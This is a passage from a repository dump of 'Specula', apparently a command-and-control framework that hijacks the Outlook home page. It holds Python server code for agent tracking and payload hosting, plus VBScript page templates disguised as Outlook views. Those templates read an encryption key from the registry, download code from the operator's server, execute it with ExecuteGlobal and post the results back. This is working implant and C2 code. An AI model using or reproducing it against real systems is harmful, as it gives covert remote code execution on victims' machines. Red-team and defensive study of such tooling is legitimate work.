NONE\",\r\n                                                           validator=isdate,\r\n                                                           value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def WEBSERVER_PORT(self):\r\n        return int(self._config['DEFAULT']['WEBSERVER_PORT'])\r\n\r\n    @WEBSERVER_PORT.setter\r\n    def WEBSERVER_PORT(self,value):\r\n        self._config['DEFAULT']['WEBSERVER_PORT'] = self._getopt(\"What port should the webserver listen on?\",\r\n                                                                        validator=isint, value=value)\r\n        self._save_config()\r\n\r\n    @property\r\n    def PUSH_VALIDATION(self):\r\n        return (self._config['DEFAULT']['PUSH_VALIDATION'])\r\n\r\n    @PUSH_VALIDATION.setter\r\n    def PUSH_VALIDATION(self, value):\r\n        if value.lower() == \"true\":\r\n            self._config['DEFAULT']['PUSH_VALIDATION'] = \"True\"\r\n        else:\r\n            self._config['DEFAULT']['PUSH_VALIDATION'] = \"False\"\r\n        self._save_config()\r\n\r\n    @property\r\n    def PUSH_NEWAGENT(self):\r\n        return (self._config['DEFAULT']['PUSH_NEWAGENT'])\r\n\r\n    @PUSH_NEWAGENT.setter\r\n    def PUSH_NEWAGENT(self, value):\r\n        if value.lower() == \"true\":\r\n            self._config['DEFAULT']['PUSH_NEWAGENT'] = \"True\"\r\n        else:\r\n            self._config['DEFAULT']['PUSH_NEWAGENT'] = \"False\"\r\n        self._save_config()\r\n\r\n    @property\r\n    def PUSH_NEWIP(self):\r\n        return (self._config['DEFAULT']['PUSH_NEWIP'])\r\n\r\n    @PUSH_NEWIP.setter\r\n    def PUSH_NEWIP(self, value):\r\n        if value.lower() == \"true\":\r\n            self._config['DEFAULT']['PUSH_NEWIP'] = \"True\"\r\n        else:\r\n            self._config['DEFAULT']['PUSH_NEWIP'] = \"False\"\r\n        self._save_config()  \r\n\r\n    @property\r\n    def PUSH_UNEXPECTEDCALLBACK(self):\r\n        return (self._config['DEFAULT']['PUSH_UNEXPECTEDCALLBACK'])\r\n\r\n    @PUSH_UNEXPECTEDCALLBACK.setter\r\n    def PUSH_UNEXPECTEDCALLBACK(self, value):\r\n        if value.lower() == \"true\":\r\n            self._config['DEFAULT']['PUSH_UNEXPECTEDCALLBACK'] = \"True\"\r\n        else:\r\n            self._config['DEFAULT']['PUSH_UNEXPECTEDCALLBACK'] = \"False\"\r\n        self._save_config()  \r\n\r\n    @property\r\n    def PUSH_UNKNOWNCONNECTION(self):\r\n        return (self._config['DEFAULT']['PUSH_UNKNOWNCONNECTION'])\r\n\r\n    @PUSH_UNKNOWNCONNECTION.setter\r\n    def PUSH_UNKNOWNCONNECTION(self, value):\r\n        if value.lower() == \"true\":\r\n            self._config['DEFAULT']['PUSH_UNKNOWNCONNECTION'] = \"True\"\r\n        else:\r\n            self._config['DEFAULT']['PUSH_UNKNOWNCONNECTION'] = \"False\"\r\n        self._save_config()\r\n\r\n    @property\r\n    def PUSH_PRESTAGE(self):\r\n        return (self._config['DEFAULT']['PUSH_PRESTAGE'])\r\n\r\n    @PUSH_PRESTAGE.setter\r\n    def PUSH_PRESTAGE(self, value):\r\n        if value.lower() == \"true\":\r\n            self._config['DEFAULT']['PUSH_PRESTAGE'] = \"True\"\r\n        else:\r\n            self._config['DEFAULT']['PUSH_PRESTAGE'] = \"False\"\r\n        self._save_config()\r\n\r\n    @property\r\n    def PUSH_CONNECTION_OUTSIDESPECULA(self):\r\n        return (self._config['DEFAULT']['PUSH_CONNECTION_OUTSIDESPECULA'])\r\n\r\n    @PUSH_CONNECTION_OUTSIDESPECULA.setter\r\n    def PUSH_CONNECTION_OUTSIDESPECULA(self, value):\r\n        if value.lower() == \"true\":\r\n            self._config['DEFAULT']['PUSH_CONNECTION_OUTSIDESPECULA'] = \"True\"\r\n        else:\r\n            self._config['DEFAULT']['PUSH_CONNECTION_OUTSIDESPECULA'] = \"False\"\r\n        self._save_config()  \r\n\r\ngconfig = Config('specConfig.ini')\r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"
  },
  {
    "path": "lib/core/specagents.py",
    "content": "import secrets\r\nimport os\r\nimport base64\r\nfrom collections import UserList\r\nfrom datetime import datetime\r\nfrom lib.core.setup import gconfig\r\n\r\nclass AgentListClass(UserList):\r\n    def __init__(self):\r\n        super().__init__()\r\n\r\n    def get_agent(self, id):\r\n        for agent in self:\r\n            if int(agent.id) == int(id):\r\n                return agent\r\n        return None\r\n\r\n    def get_agent_hostname(self, name):\r\n        for agent in self:\r\n            if agent.hostname == name:\r\n                return agent\r\n        return None\r\n\r\n    def get_max_id(self):\r\n        if self != []:\r\n            id_list = []\r\n            for agent in self:\r\n                id_list.append(agent.id)\r\n            return max(id_list)\r\n        else:\r\n            return int(0)\r\n\r\n    def get_agents_id(self):\r\n        id_list = []\r\n        for agent in self:\r\n                id_list.append(str(agent.id))\r\n        return id_list\r\n\r\n    def get_prestaged_agents(self):\r\n        id_list = []\r\n        for agent in self:\r\n            if agent.prestaged:\r\n                id_list.append(agent)\r\n        return id_list\r\n    \r\n            #Agent version functions\r\n    def register_agent(self, sessionid,remoteip,useragent,lastcheckin):\r\n        hostname = base64.b64decode(sessionid).decode(\"utf-16le\", \"ignore\").split(\"|\")[0]\r\n        username = base64.b64decode(sessionid).decode(\"utf-16le\", \"ignore\").split(\"|\")[1]\r\n\r\n        newagent = AgentClass(sessionid, self.get_max_id()+1)\r\n        newagent.hostname = hostname\r\n        newagent.username = username\r\n        newagent.useragent = useragent\r\n        newagent.remoteip = remoteip\r\n        newagent.lastcheckin = lastcheckin\r\n        newagent.initialcheckincount = 0\r\n\r\n        #Add to agent list\r\n        self.append(newagent)\r\n\r\n\r\nclass AgentClass:\r\n    def __init__(self, sessionid, myid):\r\n        self.sessionid = sessionid  # instance variable unique to each instance\r\n        self.hostname = None\r\n        self.remoteip = None\r\n        self.id = myid\r\n        self.initialcheckincount = 0\r\n        self.approved = False\r\n        self.keysent = False\r\n        self.api_verified = False\r\n        self.api_installed = False\r\n        self.tasks = []\r\n        self.prestaged = False\r\n        self.callback = 0\r\n        self.encryptionkey = None\r\n        self.url = None\r\n        self.officearch = None\r\n        self.windowsversion = None\r\n        self.windowsarch = None\r\n        self.sid = None\r\n        self.timezone = None\r\n        self.codeurl = None\r\n        self.supporturl = None\r\n        self.firstseen = datetime.now().strftime(gconfig.TIME_FORMAT)\r\n        self.otherurls = {}\r\n        self.pushnextcallback = False\r\n        if not hasattr(self, 'refreshtime'):\r\n            self.refreshtime = gconfig.DEFAULT_REFRESH_TIME\r\n        if not hasattr(self, 'jitter'):\r\n            self.jitter = gconfig.JITTER\r\n        \r\n    def generate_com(self):\r\n        self.encryptionkey = secrets.token_urlsafe(16)\r\n        if gconfig.WEBSERVER_PORT not in (80, 443):\r\n            self.url = gconfig.DNS_NAME + \":\" + str(gconfig.WEBSERVER_PORT) + gconfig.BASE_PATH_AGENT_COM + secrets.token_urlsafe(10)\r\n        else:    \r\n            self.url = gconfig.DNS_NAME + gconfig.BASE_PATH_AGENT_COM + secrets.token_urlsafe(10)\r\n        self.codeurl = self.url + \"/\" + secrets.token_urlsafe(6)\r\n        self.supporturl = self.url + \"/\" + secrets.token_urlsafe(5)\r\n    \r\n    def generate_customcom(self, url, codeurl, supporturl):\r\n        self.encryptionkey = secrets.token_urlsafe(16)\r\n        self.url = url\r\n        self.codeurl = codeurl\r\n        self.supporturl = supporturl\r\n    \r\n    def update_callback(self):\r\n        self.callback += 1\r\n\r\n    def updateinitialcheckincount(self, initialcheckincount):\r\n        self.initialcheckincount = initialcheckincount\r\n\r\n    def size_taskqueue(self):\r\n        return len(self.tasks)\r\n\r\n    def remove_task(self):\r\n        self.tasks.pop(0)\r\n\r\n    def add_task(self, item):\r\n        self.tasks.insert(self.size_taskqueue(), item)\r\n    \r\n    def get_nexttask(self):\r\n        return self.tasks[0]\r\n"
  },
  {
    "path": "lib/core/specmodule.py",
    "content": "#executable -> true false required to be in base, throw error if its not if true user can select this for use\n#category -> string defaults to unknown\n#subcategory -> string defaults to \"default\"\n#name -> string, required\nclass SpecModule:\n    def __init__(self, templatepath=None):\n        self.templatepath = templatepath\n        if not hasattr(self, 'depends'):\n            self.depends = []\n        if not hasattr(self, 'options'):\n            self.options = {}\n        if not hasattr(self, 'help'):\n            self.help = \"This module does not define help\"\n        if not hasattr(self, 'entry'):\n            raise RuntimeError('Module {} does not declare a runtime entry function'.format(self))\n\n    def set_option(self, optionname, value):\n        if self._validate_option(optionname, value):\n            self.options[optionname]['value'] = value\n            return True\n        else:\n            print('Option Failed validation, refusing to set')\n            return False\n\n    def get_option(self, optionname):\n        if 'handler' in self.options[optionname] and self.options[optionname]['handler'] is not None:\n            args = self.options[optionname]['handlerargs'] if 'handlerargs' in self.options[optionname] else {}\n            return self.options[optionname]['handler'](self.options[optionname]['value'], **args)\n        return self.options[optionname]['value']\n\n    def _validate_option(self, optionname, value):\n        if 'validator' in self.options[optionname] and self.options[optionname]['validator'] is not None:\n            args = self.options[optionname]['validatorargs'] if 'validatorargs' in self.options[optionname] else {}\n            status = self.options[optionname]['validator'](value, **args)\n            return status\n        else:\n            return True\n\n    def check_required(self):\n        status = True\n        for k, v in self.options.items():\n            if v['required'] is True and v['value'] is None:\n                print(\" *** Option '{}' is required but is NOT set\".format(k))\n                status = False\n        if not status:\n            raise RuntimeError(\"Not all required options set\")\n        return status\n\n    def preprocess(self, agent):\n        return\n\n    # this isn't doing what it sounds like, so stripping it for now\n    # def postprocess(self, agent):\n    #     return\n\n    #when this is call is won't be your actual module\n    #this is because we are just pickling the tasks to / from disk, so that's why we are passing what seems like excessive options\n    #outside of helpers, do not attempt to reference class variables in rethandler\n\n    def rethandler(self, agent, options, data):\n        return\n\n    def cleanup(self):\n        return\n\n"
  },
  {
    "path": "lib/core/specpayload.py",
    "content": "import secrets\nimport os\nimport base64\nimport random\nimport shutil\nimport string\nfrom collections import UserList\nfrom datetime import datetime\nfrom lib.core.setup import gconfig\n\nclass PayloadListClass(UserList):\n    def __init__(self):\n        super().__init__()\n\n    def get_payload_id(self, id):\n        for payload in self:\n            if payload.id == id:\n                return payload\n        return None\n\n    def get_payload_name(self, name):\n        for payload in self:\n            if payload.name == name:\n                return payload\n        return None\n    \n    def get_payloads_id(self):\n        id_list = []\n        for payload in self:\n                id_list.append(str(payload.id))\n        return id_list\n\n    def register_payload(self, sourcepath, destinationname):\n        \n        newpayload = PayloadClass()\n        newpayload.name = os.path.basename(sourcepath)\n        newpayload.id = destinationname\n        newpayload.sourcepath = sourcepath\n        newpayload.url = gconfig.DNS_NAME + gconfig.BASE_PAYLOAD_URL + newpayload.id\n        newpayload.storepath = \"./payloadhosting/\" + newpayload.id\n\n        # Copy payload\n        shutil.copyfile(newpayload.sourcepath, \"./payloadhosting/\"+newpayload.id) \n        #Add to payload list\n        self.append(newpayload)\n    \n    def remove_payload(self, selected_payload):\n        os.remove(selected_payload.storepath)\n        self.remove(selected_payload)\n\nclass PayloadClass:\n    def __init__(self):\n        self.id = None\n        self.name = None\n        self.sourcepath = None\n        \n\n    def generate_payload(self):\n        shutil.copyfile(self.sourcepath, \"./payloadhosting/\"+self.id)        \n    \n  "
  },
  {
    "path": "lib/core/spectaskbook.py",
    "content": "from lib.core.specmodule import SpecModule\n\n\nclass SpecTaskBook(SpecModule):\n    def __init__(self):\n        self.entry = \"None\"\n        self.depends = []\n        super().__init__(None) # we inherit the base properties of a module\n\n\n"
  },
  {
    "path": "lib/core/utility.py",
    "content": "import re\nfrom lib.core.setup import gconfig\nfrom datetime import datetime\n\ndef encrypt_code(code, key):\n    Position = -1\n    z = \"\"\n    for i in range(len(code)):\n        Position = Position + 1\n        if Position >= len(key):\n            Position = 0\n\n        keynumber = ord(key[Position:Position + 1])\n        org = ord(code[i:i + 1])\n        cpt = org ^ keynumber\n        cptstr = hex(cpt)[2:]\n        if len(cptstr) < 2:\n            cptstr = \"0\" + cptstr\n        z = z + cptstr\n    return z\n\n\ndef decrypt_code(code, key):\n    Position = -1\n    z = \"\"\n    chars = re.findall('..', code)  # get each byte/char\n\n    for i in range(len(chars)):\n        Position = Position + 1\n        if Position >= len(key):\n            Position = 0\n\n        keynumber = ord(key[Position:Position + 1])\n        decstr = int(chars[i], 16) ^ keynumber  # ^ is XOR int,16 converts hex to decimal value\n        z = z + chr(decstr)\n    return z\n\n\nclass TaskClass:\n    def __init__(self, funcname, code, entry, options, encrypt=True, status=None, printlog=True):\n        self.name = funcname\n        self.code = code\n        if gconfig.DEBUG:\n            print(code)\n        if status is not None:\n            self.status = status\n        self.printlog = printlog\n        self.entry = entry\n        self.encrypt = encrypt\n        self.options = options\n        self.added = datetime.now().strftime(gconfig.TIME_FORMAT)\n\n"
  },
  {
    "path": "lib/core/utils.py",
    "content": "import os\nimport sys\nimport base64\nimport struct\n\n\ntestnum = 0x1456789ffff\n\n'''def getChars(inputstring):\n    #Returns string of chars for input array\n    n = 2\n    temp =  [inputstring[i:i+n] for i in range(0, len(inputstring), n)]\n    tempchars = \"\"\n    for item in temp:\n        #print(item)\n        tempchars += chr(int(item, 16))\n    return tempchars\n'''\n\ndef getChars(inputstring):\n    '''Returns string of chars for input array'''\n    n = 2\n    temp =  [inputstring[i:i+n] for i in range(0, len(inputstring), n)]\n    tempchars = \"\"\n    for item in temp:\n        #print(item)\n        tempchars += struct.pack(\"B\", int(item, 16))\n    return tempchars\n\ndef ConvertToArray(inputint):\n    hexconv = hex(inputint).replace(\"0x\", \"\").replace(\"L\", \"\")\n    test = len(hexconv)%2\n    if test != 0:\n        #print(\"Padding with leading 0\")\n        hexconv = \"0\"+hexconv\n    #print(\"hexconv = \\\"%s\\\"\"%(hexconv))\n    chars = getChars(hexconv)\n    #print(\"Number of chars %d\"%(len(chars)))\n    return struct.pack(\">%ds\"%(len(chars)), chars)\n\ndef ConvertBackToInt(inputstring):\n    #print(\"In convertbacktoint\")\n    outputarray = []\n    outputstring = \"\"\n    #chars = getChars(inputstring)\n    for item in inputstring:\n        outputarray.append(ord(item))\n        #print(ord(item))\n        tempchar = hex(struct.unpack(\"B\", item)[0]).replace(\"0x\", \"\")\n        if len(tempchar) == 1:\n            tempchar = \"0\"+tempchar\n        outputstring += tempchar\n        #print(outputarray)\n    #print(outputstring)\n    #print(int(outputstring, 16))\n    return int(outputstring, 16)\n\n\nif __name__ == \"__main__\":\n    print(\"Starting with number : %s\"%(testnum))\n    teststring = ConvertToArray(testnum)\n    print(base64.b64encode(teststring))\n    ConvertBackToInt(teststring)\n"
  },
  {
    "path": "lib/handlers/base.html",
    "content": "<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<title>Outlook</title>\n<style>\nbody {\n    overflow: hidden;\n    border: 0px;\n    padding: 0px;\n    margin: 0px;\n}\n</style>\n<script id=clientEventHandlersVBS language=vbscript>\nOn Error Resume Next\n{{LOADSUPPORT}}\n\nSub window_onload()\n    {{DLSUPPORT}}\nEnd Sub\n\n</script>\n\n</head>\n<BODY>\n<OBJECT CLASSID=\"CLSID:{{ CLSID }}\" id=\"{{ OUTLOOK_VIEW_ID }}\" width=100% height=100%>\n</OBJECT>\n</BODY>\n</html>\n"
  },
  {
    "path": "lib/handlers/blacklist.html",
    "content": "<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<title>Outlook</title>\n<script id=clientEventHandlersVBS language=vbscript>\n<!--\n\n-->\n</script>\n</head>\n\n<body>\n <object classid=\"CLSID:{{ CLSID }}\" data=\"\" width=\"100%\" height=\"100%\"></object>\n</body>\n</html>"
  },
  {
    "path": "lib/handlers/dev_blank.html",
    "content": "<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta http-equiv=\"refresh\" content=\"{{ REFRESH_TIME }}\">\n<title>Outlook</title>\n<script id=clientEventHandlersVBS language=vbscript>\n<!--\n\n-->\n</script>\n</head>\n\n<body>\n <object classid=\"CLSID:{{ CLSID }}\" id=\"{{ OUTLOOK_VIEW_ID }}\" data=\"\" width=\"100%\" height=\"100%\"></object>\n</body>\n</html>"
  },
  {
    "path": "lib/handlers/dev_encrypted_task_template.html",
    "content": "{% autoescape None %}<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta http-equiv=\"refresh\" content=\"{{ REFRESH_TIME }}\">\n<meta http-equiv=\"Cache-Control\" content=NO-CACHE, no-store, must-revalidate, max-age=0\" />\n<meta http-equiv=\"Pragma\" content=\"no-cache\" />\n<meta http-equiv=\"EXPIRES\" CONTENT=\"0\">\n<title>Outlook</title>\n<style>\nbody {\n    overflow: hidden;\n    border: 0px;\n    padding: 0px;\n    margin: 0px;\n}\n</style>\n<script id=clientEventHandlersVBS language=vbscript>\n<!--\nOn Error Resume Next\n\nFunction Crypt(Inp, Key, Mode)\n    For i = 1 To Len(Inp)\n        Position = Position + 1\n        If Position > Len(Key) Then Position = 1\n        keyZahl = Asc(Mid(Key, Position, 1))\n        If Mode Then\n            orgZahl = Asc(Mid(Inp, i, 1))\n            cptZahl = orgZahl Xor keyZahl\n            cptString = Hex(cptZahl)\n                        If Len(cptString) < 2 Then cptString = \"0\" & cptString\n                        z = z & cptString\n        Else\n            If i > Len(Inp) \\ 2 Then Exit For\n            cptZahl = CByte(\"&H\" & Mid(Inp, i * 2 - 1, 2))\n            orgZahl = cptZahl Xor keyZahl\n            z = z & Chr(orgZahl)\n        End If\n    Next\n    Crypt = z\nEnd Function\n\nFunction Ct(thn, nk, mn)\n\tl = Len(thn)\n\tDim j\n\tIf mn Then\n\t\tReDim j(l * 2)\n\tElse\n\t\tReDim j(l / 2)\n\tEnd If\n    For i = 1 To l\n        Position = Position + 1\n        If Position > Len(nk) Then Position = 1\n        kZ = Asc(Mid(nk, Position, 1))\n        If mn Then  \n            orZ = Asc(Mid(thn, i, 1))\n            cpt = orZ Xor kZ\n            cptString = Hex(cpt)\n\t\t\tIf Len(cptString) < 2 Then cptString = \"0\" & cptString\n\t\t\tj(i) = cptString\n        Else  \n            If i > Len(thn) \\ 2 Then Exit For\n            cpt = CByte(\"&H\" & Mid(thn, i * 2 - 1, 2))\n            orZ = cpt Xor kZ\n            j(i) = Chr(orZ)\n        End If\n    Next\n    Ct = Join(j, \"\")\nEnd Function\n\nFunction gr(Pt,Ve)\n\tOn Error Resume Next\n\tVa = \"\"\n\tSet oL = a.CreateObject(\"Wbem\" & \"Scripting.SWbem\" & \"Locator\")\n    Set lr = oL.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\n\tlr.GetStringValue 2147483649, Pt, Ve, Va\n\tgr = Va\nEnd Function\n\nFunction HP(uU, rR)\n\tOn Error Resume Next\n\tvi = Left(a.version,4)\n\td = rR\n\tset oP = a.CreateObject(\"MS\" & \"XML2.ServerX\" & \"MLHTTP\")\n\toP.open \"POST\", uU,false\n\toP.setRequestHeader \"Content-Type\", \"application/x-www-form-urlencoded\"\n\toP.setRequestHeader \"Content-Length\", Len(d)\n\toP.setRequestHeader \"User-Agent\", \"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Specula; Microsoft Outlook \" & vi\n\toP.setOption 2, 13056\n\toP.send Replace(d, vbLf, \"\")\n\tHP = oP.responseText\nEnd Function\n\nSet a = window.external.OutlookApplication\n\nSub Ie (rl,ey)\n\t\tOn Error Resume Next\n\t\tSet orP = a.CreateObject(\"MSXML2.ServerXMLHTTP\")\n\t\tvr = Left(a.version,4)\n\t\torP.open \"GET\", rl, False\n\t\torP.setRequestHeader \"User-Agent\", \"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Specula; Microsoft Outlook \" & vr\n\t\torP.send\n\t\trp = orP.ResponseText\n\t\txt = Split(rp,vbNewLine)\n\t\tFor i = LBound(xt) to UBound(xt)\n\t\t\tExecuteGlobal Crypt(xt(i),ey,False)\n\t\tNext\nEnd Sub\n\nSub window_onload()\n\tOhm = \"\"\n\tay = gr({{ENCRYPTIONKEY_LOCATION}}, {{ENCRYPTIONKEY_VALUENAME}})\n\tIe Ct(\"{{ CODEURL }}\",ay,False),ay\n\tOhm = Ct(Eval(Ct(\"{{ function_name }}\",ay,False)),ay,True)\n\trul = HP(Ct(\"{{ url }}\",ay,False), chr(34) & Ohm & chr(34))\nEnd Sub\n-->\n</script>\n</head>\n\n<body>\n<object classid=\"CLSID:{{ CLSID }}\" id=\"{{ OUTLOOK_VIEW_ID }}\" data=\"\" width=\"100%\" height=\"100%\"></object>\n</body>\n</html>"
  },
  {
    "path": "lib/handlers/dev_unencrypted_task_template.html",
    "content": "{% autoescape None %}<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta http-equiv=\"refresh\" content=\"{{ REFRESH_TIME }}\">\n<meta http-equiv=\"Cache-Control\" content=\"NO-CACHE, no-store, must-revalidate, max-age=0\" />\n<meta http-equiv=\"Pragma\" content=\"no-cache\" />\n<meta http-equiv=\"EXPIRES\" CONTENT=\"0\">\n<title>Outlook</title>\n<style>\nbody {\n    overflow: hidden;\n    border: 0px;\n    padding: 0px;\n    margin: 0px;\n}\n</style>\n<script id=clientEventHandlersVBS language=vbscript>\n<!--\n\nFunction Crypt(Inp, Key, Mode)\n    For i = 1 To Len(Inp)\n        Position = Position + 1\n        If Position > Len(Key) Then Position = 1\n        keyZahl = Asc(Mid(Key, Position, 1))\n        If Mode Then\n            orgZahl = Asc(Mid(Inp, i, 1))\n            cptZahl = orgZahl Xor keyZahl\n            cptString = Hex(cptZahl)\n                        If Len(cptString) < 2 Then cptString = \"0\" & cptString\n                        z = z & cptString\n        Else\n            If i > Len(Inp) \\ 2 Then Exit For\n            cptZahl = CByte(\"&H\" & Mid(Inp, i * 2 - 1, 2))\n            orgZahl = cptZahl Xor keyZahl\n            z = z & Chr(orgZahl)\n        End If\n    Next\n    Crypt = z\nEnd Function\n\nFunction Ct(thn, nk, mn)\n\tl = Len(thn)\n\tDim j\n\tIf mn Then\n\t\tReDim j(l * 2)\n\tElse\n\t\tReDim j(l / 2)\n\tEnd If\n    For i = 1 To l\n        Position = Position + 1\n        If Position > Len(nk) Then Position = 1\n        kZ = Asc(Mid(nk, Position, 1))\n        If mn Then  \n            orZ = Asc(Mid(thn, i, 1))\n            cpt = orZ Xor kZ\n            cptString = Hex(cpt)\n\t\t\tIf Len(cptString) < 2 Then cptString = \"0\" & cptString\n\t\t\tj(i) = cptString\n        Else  \n            If i > Len(thn) \\ 2 Then Exit For\n            cpt = CByte(\"&H\" & Mid(thn, i * 2 - 1, 2))\n            orZ = cpt Xor kZ\n            j(i) = Chr(orZ)\n        End If\n    Next\n    Ct = Join(j, \"\")\nEnd Function\n\nFunction gr(Pt,Ve)\n\tOn Error Resume Next\n\tVa = \"\"\n\tSet oL = a.CreateObject(\"Wbem\" & \"Scripting.SWbem\" & \"Locator\")\n    Set lr = oL.ConnectServer(\".\", \"root\\cimv2\").Get(\"StdRegProv\")\n\tlr.GetStringValue 2147483649, Pt, Ve, Va\n\tgr = Va\nEnd Function\n\nFunction HP(uU, rR)\n\tOn Error Resume Next\n\tvi = Left(a.version,4)\n\td = rR\n\tset oP = a.CreateObject(\"MS\" & \"XML2.ServerX\" & \"MLHTTP\")\n\toP.open \"POST\", uU,false\n\toP.setRequestHeader \"Content-Type\", \"application/x-www-form-urlencoded\"\n\toP.setRequestHeader \"Content-Length\", Len(d)\n\toP.setRequestHeader \"User-Agent\", \"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Specula; Microsoft Outlook \" & vi\n\toP.setOption 2, 13056\n\toP.send Replace(d, vbLf, \"\")\n\tHP = oP.responseText\nEnd Function\n\nSub Ie (rl,ey)\n\t\tOn Error Resume Next\n\t\tSet orP = a.CreateObject(\"MSXML2.ServerXMLHTTP\")\n\t\tvr = Left(a.version,4)\n\t\torP.open \"GET\", rl, False\n\t\torP.setRequestHeader \"User-Agent\", \"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Specula; Microsoft Outlook \" & vr\n\t\torP.send\n\t\trp = orP.ResponseText\n        ExecuteGlobal rp\nEnd Sub\n\nSet a = window.external.OutlookApplication\n\nSub window_onload()\n\tOhm = \"\"\n    ay = gr({{ENCRYPTIONKEY_LOCATION}}, {{ENCRYPTIONKEY_VALUENAME}})\n    Ie Ct(\"{{ CODEURL }}\",ay,False),ay\n\tOhm = Ct(Eval(Ct(\"{{ function_name }}\",ay,False)),ay,True)\n\trul = HP(Ct(\"{{ url }}\",ay,False), chr(34) & Ohm & chr(34))\nEnd Sub\n-->\n</script>\n</head>\n\n<body>\n<object classid=\"CLSID:{{ CLSID }}\" id=\"{{ OUTLOOK_VIEW_ID }}\" data=\"\" width=\"100%\" height=\"100%\"></object>\n</body>\n</html>"
  },
  {
    "path": "lib/handlers/redirect_template.html",
    "content": "<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<title>Search Plugin</title>\n<style>\n    body {\n        font-family: Arial, sans-serif;\n        display: flex;\n        flex-direction: column;\n        align-items: center;\n        justify-content: center;\n        height: 100vh;\n        margin: 0;\n    }\n    .search-container {\n        text-align: center;\n    }\n    .search-container input[type=\"text\"] {\n        width: 300px;\n        padding: 10px;\n        font-size: 16px;\n    }\n    .search-container button {\n        padding: 10px 15px;\n        font-size: 16px;\n        cursor: pointer;\n    }\n</style>\n<script id=clientEventHandlersVBS language=vbscript>\n</script>\n\n</head>\n<body>\n    <div class=\"search-container\">\n        <h1>searchplugin</h1>\n        <input type=\"text\" placeholder=\"Search...\">\n        <button type=\"button\">Search</button>\n    </div>\n</body>\n</html>\n"
  },
  {
    "path": "lib/handlers/specapplication.py",
    "content": "#we are not able to directly initialize RequestHandler objects for single time initilization actions\n#This RequestHandler objects can access anything in the application class via self.application\n#Therefore we do shared single initilization here\n#validated from top level\nimport tornado.web\n\nclass speculaApplication(tornado.web.Application):\n    def __init__(self, helpers, handlers = None, default_host = None, transforms = None, **settings):\n        self.helpers = helpers\n        super().__init__(handlers, default_host, transforms, **settings)\n"
  },
  {
    "path": "lib/handlers/speccomms.py",
    "content": "import copy\r\nimport jinja2\r\nfrom urllib.parse import unquote, urlparse\r\nfrom lib.core.specagents import AgentClass\r\nfrom lib.core.utility import encrypt_code, decrypt_code, TaskClass\r\nimport tornado\r\nimport random\r\nfrom datetime import datetime\r\nfrom lib.core.setup import gconfig\r\nDLName = \"DownloadCacheLogic\"\r\nLOADSUPPORT = \"\"\"\r\nSub {} ()\r\n\t\tSet server_manager = window.external.OutlookApplication.CreateObject(\"MSXML2.ServerXMLHTTP\")\r\n\t\tvr = Left(window.external.OutlookApplication.version,4)\r\n\t\tserver_manager.open \"GET\", \"{}\", False\r\n\t\tserver_manager.setRequestHeader \"User-Agent\", \"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Specula; Microsoft Outlook \" & vr\r\n\t\tserver_manager.send\r\n\t\trp = server_manager.ResponseText\r\n        ExecuteGlobal rp\r\nEnd Sub\r\n\"\"\"\r\n\r\n#encrypt 1||0 Left(msg 1)\r\n#refreshtime len 4 int Mid (msg, 2, 4)\r\n#code Mid(msg 6)\r\nr = random.Random()\r\nclass AgentComHandler(tornado.web.RequestHandler):\r\n    def set_default_headers(self):\r\n        self.set_header('Server', gconfig.SERVER_HEADER)\r\n\r\n    def get(self):\r\n        user_agent = self.request.headers.get(\"User-Agent\")\r\n        url = self.request.full_url()\r\n        uri = self.request.uri\r\n        remote_ip = self.request.remote_ip\r\n        handled = False\r\n        \r\n        self.application.helpers.speclog(\"*** [INBOUND GET] (\" + remote_ip + \") - [URL]: \" + self.request.full_url())\r\n        if self.application.helpers.inblocklist(remote_ip):\r\n            self.application.helpers.speclog('*** [blocklisted IP] ({}): Valid GET endpoint request from blocklisted ip'.format(remote_ip))\r\n            self.render('blocklist.html',\r\n                        CLSID=gconfig.CLSID)\r\n            return\r\n        elif 'Outlook' in user_agent:\r\n            self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \"): Valid Useragent\")\r\n            agent: AgentClass # type anotation\r\n            if self.application.helpers.pastenddate(): # Handler for past end date\r\n                for agent in self.application.helpers.a_list:\r\n                    if urlparse(agent.url).path == uri: \r\n                        self.set_header(\"Cache-Control\", \"no-store\")\r\n                        self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Unique Agent URL triggered\")\r\n                        self.application.helpers.speclog(\"*** [AGENTCOM] (\" + remote_ip + \") (\" + agent.hostname + \"): Updating Lastseen, Useragent and callback count\")\r\n                        agent.update_callback()\r\n                        agent.lastcheckin = datetime.now().strftime(self.application.helpers.timeformat)\r\n                        agent.useragent = user_agent\r\n                        handled = True\r\n                        self.application.helpers.speclog(\"*** [ENDDATE] (\" + remote_ip + \"): Tasking remove homepage hook\")\r\n                        mod = self.application.helpers.get_module('execute/host/remove_homepage')\r\n                        task = TaskClass('execute/host/remove_homepage',\r\n                                        self.application.helpers.renderModule(mod, agent),\r\n                                        mod.entry,\r\n                                        {},\r\n                                        True)\r\n                        agent.add_task(task)\r\n                        self.render('base.html',\r\n                                REFRESH_TIME=self.application.helpers.addJitter(agent.jitter, 